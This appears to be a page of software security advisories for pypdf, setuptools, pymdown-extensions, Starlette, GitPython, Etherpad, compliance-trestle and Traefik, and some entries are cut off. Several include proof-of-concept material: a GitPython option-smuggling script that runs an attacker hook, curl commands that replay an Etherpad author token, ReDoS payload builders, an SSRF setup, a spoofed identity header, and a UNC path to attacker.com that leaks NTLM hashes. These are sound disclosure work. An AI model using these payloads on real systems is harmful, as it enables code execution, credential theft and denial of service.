Search: com.py

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires extracting the text in layout mode. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with outlines into a writer. ### Patches This has been fixed in [pypdf==6.13.0](https://github.com/py-pdf/pypdf/releases/tag/6.13.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3830](https://github.com/py-pdf/pypdf/pull/3830).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with threads/articles into a writer. ### Patches This has been fixed in [pypdf==6.13.1](https://github.com/py-pdf/pypdf/releases/tag/6.13.1). ### Workarounds If users cannot upgrade yet, consider applying the changes from PR [#3839](https://github.com/py-pdf/pypdf/pull/3839).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and large memory consumption. This requires parsing the font width entries of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3946](https://github.com/py-pdf/pypdf/pull/3946).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory consumption. This requires parsing the `/ToUnicode` entry of a font with unusually large values, for example during text extraction. ### Patches This has been fixed in [pypdf==6.15.0](https://github.com/py-pdf/pypdf/releases/tag/6.15.0). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3944](https://github.com/py-pdf/pypdf/pull/3944).

### Summary A path traversal vulnerability in `PackageIndex` was fixed in setuptools version 78.1.1 ### Details ``` def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) ``` Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 `os.path.join()` discards the first argument `tmpdir` if the second begins with a slash or drive letter. `name` is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. ### Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like https://github.com/advisories/GHSA-r9hx-vwmv-q579, and as described by POC 4 in https://github.com/advisories/GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. ### Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. ### References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 https://github.com/pypa/setuptools/issues/4946

### Impact This issue describes a ReDOS bug found within the figure caption extension (`pymdownx.blocks.caption` ). In systems that take unchecked user content, this could cause long hangs when processing the data if a malicious payload was crafted. ### Patches This issue is patched in Release [10.16.1](https://pypi.org/project/pymdown-extensions/10.16.1/). ### Workarounds Some possible workarounds If users are concerned about this vulnerability and process unknown user content without timeouts or other safeguards in place to prevent really large, malicious content being aimed at systems, the use of `pymdownx.blocks.caption` could be avoided until the library is updated to 10.16.1+. ### References The original issue https://github.com/facelessuser/pymdown-extensions/issues/2716. ### Description The original issue came through PyMdown Extensions' normal issue tracker instead of the typical security flow: https://github.com/facelessuser/pymdown-extensions/issues/2716. Because this came through the normal issue flow, it was handled as a normal issue. In the future, PyMdown Extensions will ensure such issues, even if prematurely made public through the normal issue flow, are redirected through the typical security process. The regular expression pattern in question is as follows: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') ``` The POC was provided by @ShangzhiXu ```py import re import time regex_pattern = re.compile(r'^(\^)?([1-9][0-9]*(?:.[1-9][0-9]*)*)(?= |$)') for i in range(50, 500, 50): long_string = '1' * i + 'a' start_time = time.time() match = re.match(regex_pattern, long_string) end_time = time.time() print(f"long_string execution time: {end_time - start_time:.6f} s") ``` The issue with the above pattern is that `.` was used, which accepts any character when we meant to use `\.`. The fix was to update the pattern to: ```py RE_FIG_NUM = re.compile(r'^(\^)?([1-9][0-9]*(?:\.[1-9][0-9]*)*)(?= |$)') ``` Relevant PR with fix: https://github.com/facelessuser/pymdown-extensions/pull/2717 ### Version(s) & System Info - Operating System: Any - Python Version: Any

### Summary When serving static files on Windows, `StaticFiles` resolves the requested path with [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). If a UNC path (such as `\\attacker.com\share`) reaches the resolver, `realpath` causes the process to open a connection to the remote host over SMB (port 445). This is a server-side request forgery (SSRF) that leaks the service account's NTLMv2 credentials to the attacker-controlled host, which can then be cracked offline or relayed to other hosts. ### Details `StaticFiles.lookup_path()` joins the requested path onto the served directory and calls [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath) on the result before checking containment with [`os.path.commonpath`](https://docs.python.org/3/library/os.path.html#os.path.commonpath). On Windows, a UNC path is absolute, so [`os.path.join`](https://docs.python.org/3/library/os.path.html#os.path.join) discards the served directory and `realpath` resolves the bare UNC path, triggering the outbound SMB connection and NTLM authentication before the containment check rejects the path. The HTTP response is a benign 404, but the credential disclosure has already happened. POSIX systems are not affected. This only affects the default configuration (`follow_symlink=False`), which uses [`os.path.realpath`](https://docs.python.org/3/library/os.path.html#os.path.realpath). The `follow_symlink=True` branch uses [`os.path.abspath`](https://docs.python.org/3/library/os.path.html#os.path.abspath), which performs no I/O. ### Impact Applications running on Windows that serve files with `StaticFiles` (directly, or via a framework built on Starlette such as FastAPI) in the default configuration are affected. `StaticFiles` is typically unauthenticated, so any client can trigger the SMB connection and leak the service account's NTLMv2 hash. A secondary impact is discovering internal hosts reachable over SMB by timing responses for valid versus invalid addresses. ### Mitigation Applications not running on Windows are not affected. On Windows, serving static files through a dedicated web server (such as nginx or IIS) instead of `StaticFiles` avoids the issue. Blocking outbound SMB (port 445) from the application host prevents the credential disclosure even if a UNC path is resolved.

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

Etherpad's device-to-device author-token transfer endpoint is replayable, never expires, and exposes the cleartext author token in the GET response body ## Description Etherpad ships an endpoint pair under `/tokenTransfer` (`src/node/hooks/express/tokenTransfer.ts`) that lets a logged-in user move their HttpOnly author token to a different browser (typically by scanning a QR code containing the transfer URL). The flow is: 1. **POST `/tokenTransfer`** — the source device sends a request whose own author cookie is read off the server-side cookie jar. The server mints a random UUID and stores the author token (and arbitrary `prefsHttp` field) under a DB key keyed by that UUID. The UUID is returned. 2. **GET `/tokenTransfer/{uuid}`** — the destination device GETs the URL containing the UUID. The server reads the stored record and sets the HttpOnly author cookie on the response. The original implementation has three serious flaws: 1. **No expiration check.** `createdAt` is written to the record on POST but never inspected on GET. A leaked transfer URL is redeemable indefinitely. 2. **No single-use enforcement.** The DB record is not deleted after a successful GET, so the same URL can be redeemed repeatedly — each redemption yielding a fresh cookie set on whoever issued the GET. 3. **Author token echoed in the response body.** The GET handler ends with `res.send(tokenData)`, which serializes the full record — including the raw author token — into the JSON response. Any JavaScript on the page that issued the GET can read the token, defeating the HttpOnly cookie design that exists specifically to keep the token out of JS reach. Combined, these mean that any disclosure of a transfer UUID (browser history, mis-shared QR code, screenshot, server log, third-party plugin that proxies the request, an unencrypted intermediate hop) results in **persistent authorship impersonation of the originating account** — the attacker doesn't just get one cookie, they can re-redeem and they get the raw token in cleartext for storage / replay against other endpoints. ## Severity rationale - **AV:N** — exploitable over the network. - **AC:H** — requires the attacker to learn the transfer UUID via some out-of-band channel; UUIDs are random. - **PR:N** — no authentication required at the redemption endpoint. - **UI:R** — the legitimate user must have issued the POST and the UUID must end up where the attacker can see it (QR code, screenshot, etc.). - **C:H / I:H** — full author identity takeover (read + write everything that author can). - **A:N** — no direct denial-of-service. CVSS lands at 7.5 (High). Some operators may reasonably score this lower (UI:R + AC:H) if their threat model assumes the transfer URL never leaves the user's own device pair. ## Affected versions - `ep_etherpad-lite >= 2.6.0, <= 3.0.0`. The `/tokenTransfer` endpoint pair was added in [`41cb680` "let user maintain a single session across multiple browsers" (#7228)](https://github.com/ether/etherpad/commit/41cb680), first tagged in **v2.6.0** (2025-11-18). All three flaws (no TTL, no single-use, token in response body) were present from the introducing commit and persisted through `v3.0.0`. ## Patched versions - `ep_etherpad-lite >= 3.1.0` — the fix is on `develop` HEAD as commit `8c6104c`. Update this field with the actual tagged release version when it ships. ## Proof of concept ``` # 1. Victim posts a transfer from their device. curl -X POST https://pad.example/tokenTransfer \ -H 'Cookie: token=t.victim-author-token' \ -H 'Content-Type: application/json' \ -d '{"prefsHttp": ""}' # -> {"id": "1f0b2a3c-..."} # 2. UUID leaks (browser history, intercepted QR, etc.). # 3. Attacker redeems it from a totally different machine: curl -i https://pad.example/tokenTransfer/1f0b2a3c-... # Headers include: # Set-Cookie: token=t.victim-author-token; Path=/; HttpOnly; ... # Body contains: # {"token":"t.victim-author-token", "prefsHttp": "", "createdAt": ...} # # Attacker now owns the victim's identity. They can also re-redeem the # same UUID (no single-use), and the body gives them the cleartext token # even if the HttpOnly cookie isn't useful to their tooling. ``` ## Workarounds - Disable any UI that surfaces the transfer URL (QR code, copy-button, etc.). - Reverse-proxy block `/tokenTransfer/*` if device-pairing is not in use. - Set short DB cleanup intervals (does not address the JS-readable body issue). None of these workarounds are sufficient on their own — upgrade is the only complete fix. ## Fix Patched in [`8c6104c`](https://github.com/ether/etherpad/commit/8c6104c) (PR [#7784](https://github.com/ether/etherpad/pull/7784)): 1. **5-minute TTL** (`TRANSFER_TTL_MS`). Records older than this return 410 Gone. Records with absent/non-numeric `createdAt` (legacy records from older code paths) are treated as expired. 2. **Single-use.** The DB record is removed **before** the success response is written, so a parallel request that wins the race obse

### Summary `compliance-trestle` 4.0.3 (latest) ships an `URLSecurityValidator` in `trestle/core/remote/security.py` to block SSRF to loopback / link-local / cloud-metadata endpoints from the HTTPSFetcher and SFTPFetcher remote-fetch paths. The allowlist is incomplete and can be bypassed by four equivalent address representations that resolve to the same blocked host but evade the validator's checks: - IPv4-mapped IPv6 literals (`[::ffff:169.254.169.254]`, `[::ffff:127.0.0.1]`, `[::ffff:10.0.0.1]`) are returned by `socket.getaddrinfo` as `IPv6Address` objects; `IPv6Address in IPv4Network('169.254.0.0/16')` returns `False`, so the `_check_blocked_networks` and `_check_private_networks` predicates do not match. - IPv4 unspecified address `0.0.0.0` is not in `ALWAYS_BLOCKED_NETWORKS` (which covers `127.0.0.0/8` but not `0.0.0.0/8`); on Linux + Docker, `0.0.0.0` routes to local services on any interface, and on dual-stack-mapped sockets it also reaches loopback listeners. A malicious OSCAL profile referencing one of these URLs in `imports[*].href` or `back-matter.resources[*].rlinks[*].href` causes `HTTPSFetcher.__init__` and `_do_fetch` (which both invoke `validator.validate_url`) to pass the URL through to `requests.get`, contacting cloud-metadata services, loopback admin interfaces, or RFC 1918 internal networks (with `TRESTLE_BLOCK_PRIVATE_IPS=true` set) that the validator was specifically designed to block. ### Affected versions `compliance-trestle` (PyPI) versions `<= 4.0.3` are affected. 4.0.3 (released 2026-05-20) is the latest release and the one that introduced `URLSecurityValidator`; prior releases had no SSRF guard at all. ### Privilege required Network-position attacker who can supply or influence an OSCAL artifact (profile / catalog / SSP / component-definition) that compliance-trestle subsequently fetches via `HTTPSFetcher` or `SFTPFetcher`. The most realistic vector is a malicious OSCAL profile whose `imports[*].href` references one of the bypass URLs; the artifact then flows through `trestle href add` / `trestle import` / `trestle assemble` / `trestle author` / any workflow that resolves the profile's imports. ### Root cause `trestle/core/remote/security.py` (4.0.3, lines 56-71 + 156-167): ```python ALWAYS_BLOCKED_NETWORKS = [ ipaddress.ip_network('127.0.0.0/8'), # IPv4 loopback only ipaddress.ip_network('::1/128'), # IPv6 loopback (single address) ipaddress.ip_network('169.254.0.0/16'), # IPv4 link-local only ipaddress.ip_network('fe80::/10'), # IPv6 link-local ] METADATA_HOSTNAMES = { '169.254.169.254', # IPv4 literal only 'metadata.google.internal', 'metadata.azure.com', '100.100.100.200', } def _check_blocked_networks(self, ip_addr, hostname): for network in ALWAYS_BLOCKED_NETWORKS: if ip_addr in network: # IPv6Address in IPv4Network -> False raise TrestleError(...) ``` Four independent gaps: 1. **No IPv4-mapped IPv6 normalization.** `socket.getaddrinfo('::ffff:169.254.169.254', None)` returns an `IPv6Address`. Python's `ipaddress` module raises `TypeError` if mixed types are compared, and the `in` operator suppresses that to `False`. The validator never calls `.ipv4_mapped` to canonicalize before the membership check, so any always-blocked IPv4 range is bypassable via the `[::ffff:N.N.N.N]` literal. 2. **`METADATA_HOSTNAMES` is an exact-string set.** The hostname for `https://[::ffff:169.254.169.254]/` is `::ffff:169.254.169.254`, which is not in the set. 3. **`0.0.0.0` is not blocked.** `0.0.0.0` is not in any of the four `ALWAYS_BLOCKED_NETWORKS` ranges. On Linux and inside containers, connecting to `0.0.0.0` routes to local services on any interface (a common SSRF technique against Docker / orchestrator agents on `0.0.0.0:PORT`). 4. **DNS rebinding ribbon is only one IP deep.** `_resolve_hostname` records the first `getaddrinfo` result set, but a hostname with mixed records can still serve a private IP on the second resolution `validator.validate_url(self._url)` performs in `_do_fetch`. The IPv4-mapped-IPv6 bypass already eliminates the need for rebinding. Sibling code paths sharing the same defect: `SFTPFetcher.__init__` (lines 359-365 of `cache.py`) wires the identical `URLSecurityValidator` and inherits all four gaps. ### Reproduction (E2E against `pip install compliance-trestle==4.0.3` + local IMDS simulator) ```bash # 1. Setup mkdir -p /tmp/poc-trestle && cd /tmp/poc-trestle python3.12 -m venv venv # any supported runtime (requires-python >= 3.10); 3.12.13 chosen because >= 3.12.4 it carries CPython CVE-2024-4032's is_global fix, proving this bypass is is_global-INDEPENDENT ./venv/bin/pip install --quiet compliance-trestle==4.0.3 ./venv/bin/pip show compliance-trestle | head -2 # Name: compliance-trestle # Version: 4.0.3 # 2. Driver cat > e2e_full.py <<'PY' import http.server, http.client, socket, socketserver, threading, time, os from urllib.parse import urlparse from trestl

### Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives `markdown.markdown()` into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's **default configuration** and are reachable through the documented public API. The `caret`/`tilde`/ `betterem` blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in **10.13**, Dec 2024) — earlier releases used a linear `(.+?)` / `([^\s]+?)` content group — and is present through **11.0** (latest); `magiclink`'s host pattern is long-standing and affects effectively all releases. Likely **CWE-1333 (Inefficient Regular Expression Complexity)**. This is a distinct issue from CVE-2025-68142 (ReDoS in `pymdownx.blocks.caption`, `RE_FIG_NUM`, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a `.`/`\.` typo). ### Details Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into `{2,}`-sized pieces in exponentially many ways, wrapped in a lazy `+?` that must fail before the engine can give up: | Extension | Regex | Location (`11.0`) | |---|---|---| | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) | `pymdownx/caret.py:56` (`pymdown-extensions 11.0`): ```python SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)' ``` The content group `(?:[^\^\s]|\^{2,})+?` matches a run of carets only via the `\^{2,}` branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing `(?<![\^\s])(\^)` cannot be satisfied), the engine explores every partition before failing. `SUB2` (tilde) and `SMART_UNDER_EM2` (betterem) are the same construct for `~` and `_`. In `betterem` the default `smart_enable='underscore'` routes underscores to `SmartUnderscoreProcessor` → `SMART_UNDER_EM2` (`betterem.py:93`), which is the default-reachable, API-exploitable pattern; the non-smart `UNDER_EM2` (`:69`, used only when `smart_enable` is `asterisk`/`disable`) shares the shape but did not reproduce through the public `markdown.markdown()` pipeline on the tested payload, so a fix and regression test should target `SMART_UNDER_EM2`. `pymdownx/magiclink.py:59` has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially: ```python (?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.' ``` `SUP2`/`SUB2`/`SMART_UNDER_EM2` are applied at each delimiter occurrence via the default `PatternSequenceProcessor` subclasses (`pymdownx/util.py`); `RE_LINK` is applied by `MagiclinkPattern` (registered unconditionally at priority 85). In all four cases, rendering `markdown.markdown(src, extensions=[ext])` on untrusted `src` in default configuration is sufficient to reach the regex. ### PoC Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates). ```python import signal import time from importlib.metadata import version import markdown print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}") CAP = 5.0 # a single render exceeding this is treated as a hang class Timeout(Exception): pass def render(ext, text): signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout())) signal.setitimer(signal.ITIMER_REAL, CAP) t = time.perf_counter() try: markdown.markdown(text, extensions=[ext]) return time.perf_counter() - t except Timeout: return None finally: signal.setitimer(signal.ITIMER_REAL, 0) # ext -> (malicious builder, benign builder [valid & closed], ramp, hang count) CASES = { "pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44), "pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44), "pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44), "pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40), } repro = [] for ext, (evil, benign, ramp, hang) in CASES.

## Summary There is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers (e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for underscore-variant header names (e.g. `X_Auth_User`), which many backends normalize identically to the dashed form. An attacker able to reach a protected route could inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of — the value Traefik intended to set, spoofing identity or authorization context. This is fixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which strips all headers with underscores in their names before routing. ## Patches - https://github.com/traefik/traefik/releases/tag/v2.11.51 - https://github.com/traefik/traefik/releases/tag/v3.6.22 - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth ## Summary The fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, "BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.). However, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del("X-Auth-User")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value. This is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, "Forwarded alias spoofing pre-auth decision bypass"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim: > "When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials." The same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: "X-Auth-User"` config and reproduced the bypass with a single `curl -H "X_Auth_User: superadmin" ...` request alongside valid BasicAuth credentials. The defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`: 1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField` 2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField` 3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback 4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback The ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens. The fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write. ## Affected versions - `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier vers

## Summary There is a medium severity vulnerability in Traefik's Kubernetes Gateway API provider. When two accepted HTTPRoutes target the same backend Service:port but configure different `backendRef` filters, Traefik may resolve both routes to the same child service and apply only one route's filter set to all requests reaching that backend. In Gateway deployments where `backendRef` filters set security-sensitive headers — such as tenant identity, authorization context, or values the backend trusts — an attacker who can create an accepted HTTPRoute sharing the same backend Service:port may cause their route's filter context to be applied to another route's requests, potentially crossing namespace boundaries when a `ReferenceGrant` permits cross-namespace targeting. ## Patches - https://github.com/traefik/traefik/releases/tag/v3.7.6 ## For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues). <details> <summary>Original Description</summary> # Traefik Gateway HTTPRoute backendRef filter context collision across routes sharing Service:port ## Summary Traefik's Kubernetes Gateway API provider builds the dynamic HTTP backend service key for a Gateway `HTTPRoute` backendRef from only the backend namespace, Service name, protocol, and port. It does not include the HTTPRoute, listener, rule, or backendRef filter identity in that key. When two accepted HTTPRoutes point to the same backend `Service:port` but define different backendRef filters, Traefik can make both route WRR services reference the same child service. The child service then carries only one backendRef filter set, so one route can send requests to the backend with another route's backend context. This is security-relevant when backendRef filters set, remove, or rewrite security-sensitive context, such as tenant, identity, auth, sanitization, Host, or path headers trusted by the backend. Credit: Qican Ma, Ding Luo @XiaoMi ShadowBlade Security Lab ## Suggested Severity Suggested severity: Medium/High, configuration-dependent. Suggested CVSS 3.1: ```text CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N ``` Notes: - Requires Gateway API routes sharing the same backend Service:port with different security-sensitive backendRef filters trusted by the backend. - Cross-namespace impact is possible when route attachment and ReferenceGrant policy allow an attacker route to target the shared backend. - No RCE, memory corruption, or default-config exposure claimed. Suggested CWE: ```text CWE-863: Incorrect Authorization CWE-284: Improper Access Control ``` ## Affected Component ```text pkg/provider/kubernetes/gateway/httproute.go — loadService(), loadMiddlewares() ``` ## Tested Versions Confirmed on: ```text Traefik source snapshot: 29406d42898547f1ffabd904f66af06c212740cf on master ``` Earliest affected version not exhaustively determined. ## Root Cause `loadService` starts the dynamic service name from backend namespace and Service name only: ```go // pkg/provider/kubernetes/gateway/httproute.go:245 serviceName := provider.Normalize(namespace + "-" + string(backendRef.Name) + "-http") ``` It loads backendRef filters using that same service name before appending the backend port: ```go // pkg/provider/kubernetes/gateway/httproute.go:258 middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) ``` For normal Kubernetes Services, the final child service key appends only the port: ```go // pkg/provider/kubernetes/gateway/httproute.go:304-317 portStr := strconv.FormatInt(int64(port), 10) serviceName = provider.Normalize(serviceName + "-" + portStr) ... conf.HTTP.Services[serviceName] = &dynamic.Service{LoadBalancer: lb, Middlewares: middlewares} ``` Each route/rule WRR service references the child service by name. Later route configs are merged by map key (`maps.Copy`), so both route-local WRR services can point to the same child service, which retains only one of the route/backendRef filter configurations. ## Attack Scenario 1. Gateway listener with `allowedRoutes.namespaces.from: All`. 2. Victim `HTTPRoute` `route-a` in namespace `default` targets `default/whoami:80` with backendRef filter setting `X-Tenant: tenant-a`. 3. Attacker-controlled `HTTPRoute` `route-b` in namespace `attacker` targets `default/whoami:80` (via ReferenceGrant) with backendRef filter setting `X-Tenant: tenant-b`. 4. Both routes generate the same child service key: `default-whoami-http-80`. 5. The second route's filter configuration overwrites the first (or vice versa) via `maps.Copy`. 6. Backend receives both routes' requests with one tenant's header context. ## Proof of Concept A Go test harness injects provider-level and server-level tests into the Traefik checkout. The provider test confirms the generated dynamic configuration collision. The server test builds Traefik's runtime router/service/middleware pipeline and sends `h

